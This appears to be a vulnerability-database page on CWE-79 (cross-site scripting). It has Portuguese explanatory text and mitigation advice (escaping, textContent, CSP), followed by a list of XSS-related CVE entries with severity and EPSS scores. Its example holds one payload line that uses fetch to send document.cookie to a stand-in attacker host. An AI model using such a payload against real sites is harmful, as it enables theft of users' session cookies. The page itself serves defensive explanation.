Fallos del tipo CWE-79

30.295 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-26991HIGHWordPress WPPizza plugin <= 3.19.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-64176MEDIUMThinkDashboard: Arbitrary File Upload vulnerability in the Backup Import FeatureEPSS 0.3%CVE-2025-2160HIGHPega Platform versions 8.4.3 to Infinity 24.2.1 are affected by an XSS issue with MashupEPSS 0.3%CVE-2026-42524HIGHJenkins HTML Publisher Plugin 427 and earlier does not escape job name and URL in the legacy wrapper file, resulting in a stored cross-site EPSS 0.3%CVE-2025-58089MEDIUMMultiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. SpecEPSS 0.3%CVE-2025-47705MEDIUMIFrame Remove Filter - Moderately critical - Cross site scripting - SA-CONTRIB-2025-051EPSS 0.3%CVE-2025-25990MEDIUMCross Site Scripting vulnerability in hooskcms v.1.7.1 allows a remote attacker to obtain sensitive information via the /install/index.php cEPSS 0.3%CVE-2025-30595MEDIUMWordPress include-file plugin <= 1 Cross Site Scripting (XSS) VulnerabilityEPSS 0.3%CVE-2025-70849MEDIUMArbitrary File Upload in podinfo thru 6.9.0 allows unauthenticated attackers to upload arbitrary files via crafted POST request to the /storEPSS 0.3%CVE-2025-58091MEDIUMMultiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. SpecEPSS 0.3%CVE-2026-45392HIGHDOM-based XSS in Cribl StreamEPSS 0.3%CVE-2025-8552MEDIUMatjiu pybbs list cross site scriptingEPSS 0.3%CVE-2025-29782MEDIUMWeGIA Cross-Site Scripting (XSS) Stored in endpoint `adicionar_tipo_docs_atendido.php` parameter `tipo`EPSS 0.3%CVE-2025-23488HIGHWordPress rng-refresh plugin <= 1.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-47762HIGHTinyMCE Cross-Site Scripting (XSS) vulnerability through `mce:protected` commentsEPSS 0.3%CVE-2025-58088MEDIUMMultiple reflected cross-site scripting (xss) vulnerabilities exist in the config.php functionality of MedDream PACS Premium 7.3.6.870. SpecEPSS 0.3%CVE-2025-8685MEDIUMWp chart generator <= 1.0.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via wpchart ShortcodeEPSS 0.3%CVE-2024-37360MEDIUMHitachi Vantara Pentaho Business Analytics Server - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')EPSS 0.3%CVE-2025-2161HIGHPega Platform versions 7.2.1 to Infinity 24.2.1 are affected by an XSS issue with MashupEPSS 0.3%CVE-2025-23428HIGHWordPress QMean plugin <= 2.0 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%